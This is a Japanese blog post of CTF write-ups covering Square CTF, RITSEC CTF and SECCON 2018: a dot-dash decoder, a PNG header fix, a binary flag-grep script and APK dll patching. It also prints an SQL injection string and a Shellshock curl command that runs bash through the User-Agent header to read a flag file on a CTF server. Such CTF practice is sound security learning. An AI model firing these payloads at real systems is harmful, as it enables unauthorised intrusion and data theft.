XSS Challenge writeup
暇なのでこちらをやってました
解法を公開しても良いとのことだったので、稚拙ですがwriteupを書きました。
現状出ている問題のみですが、追加され次第更新したいなと思います。
writeup
いくつか参加して簡単な問題だけ解いてました。
Square CTF
ratingがスゴかった…
dot-n-dash
メチャクチャ雑にデコード処理を書いた
function _decode(input) { let q = input.split(".").map(a=>a.length) let b = Array(Math.max.apply(null, q)).fill("0"); q.map(a=>{ b[a] = "1"; }) let s = b.reverse().join("") let res = "" for(let i=0;i<b.length/8;i++){ let bin = s.substr(i*8,7) res += String.fromCharCode(parseInt(bin, 2)) } return res; }
de-anonymization
メチャクチャ雑にcsvをくっつける処理を書いた solv.rb · GitHub
RITSEC CTF
I am a Stegosaurus
pngcheckしておかしいところを直す
$ docker run -it --rm -v $(pwd)/data:/data dominicbreuker/stego-toolkit /bin/bash root@9607f1955a31:/data# pngcheck -v stegosaurus.png File: stegosaurus.png (198269 bytes) chunk IHDR at offset 0x0000c, length 13 309 x 232 image, 24-bit RGB, non-interlaced CRC error in chunk IHDR (computed 01aae416, expected 93cf1eca) ERRORS DETECTED in stegosaurus.png $> hexdump data/stegosaurusのコピー.png | head 0000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 0000010 00 00 01 35 00 00 00 e8 08 02 00 00 00 93 cf 1e 0000020 ca 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 $> hexdump data/stegosaurusのコピー.png | head 0000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 0000010 00 00 01 35 00 00 00 e8 08 02 00 00 00 01 aa e4 0000020 16 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00
Special Force
sqli
' or 1 = 1 ; -- '
What a cute dog!
shellshock
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /opt/flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats
writeup
色々あって色々アレでした。
一度も更新しないまま2018年も終わりかけているのでとりあえず…
SECCON 2018 Online CTF
参加してました
チームで参加したため、自分として解けた問題がとても少ないですが
以下writeupです。
Runme
こういう、stringsではflagは見えないけどバイナリに平文でフラグが置いてるやつかどうかを確認するスクリプトを
以前適当に書いていたので、
とりあえず実行したらありそうだったので、objdumpしてフラグっぽい部分をawkしただけでした。
$ cat megrep.rb b = STDIN.read.scrub('') d = b.split('').select{|b|b =~ /^[a-zA-Z0-9{}_]+$/} flagType = "SECCON".split("") res = "" 100.times do |i| reg =Regexp.new flagType.map{|t| "#{t}.{0,#{i.to_s}}"}.join("") + "\\{(\\w+)\\}" if r = d.join("").match(reg) puts "Detect flag!!!" p r[0] return end end $ cat runme.exe | ruby megrep.rb Detect flag!!! "SUVMU9UBRjEUVMU9UBRjCUVMU9UBRjCUVMU9UBRjOUVMU9mUBRjNUVMU9AUBRj{UVMU9UBRjRUVMU9UBRjuUVMU9UBRjnUVMU9UBRjnUVMU9eUBRj1UVMU99UBRjnUVMU9UBRj6UVMU9UBRj_UVMU9UBRjPUVMU9UBRj4UVMU9ua0UBRj7UVMU9u91UBRjhUVMU9u2UBRj}"
objdump -d runme.exe | awk '/6a /{printf "%c",strtonum("0x"$3)}' "@C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}@%
フラグ出すところまで自動化したいけど、あんまり使い道がないので放置…
block
apkのdllをいじるだけ。
ildasmで以下の部分を編集
Transform以下にVector3を引数に取るやつを探すとTranslateがあるので変えてdllに変換
Unity - Scripting API: Transform
msilの編集は以下が参考になります
あとはAPK Editorでdllを変えたapkをインストールして実行
手前に飛んでくるフラグをスクショを取りまくって確認していました。
shooter
il2cppキツイなあと思い、global-metadata.datを眺めてただけ。
http://staging.shooter.pwn.seccon.jp/admin
にSQL injectionがあることまでは分かっていたけど、
web問じゃないし流石にないか…とか思ってたら終わった…阿呆でした
解けたweb問が解けなかったのをとても反省した…
来年はもうちょっと解けるようにしたい。
そんな希望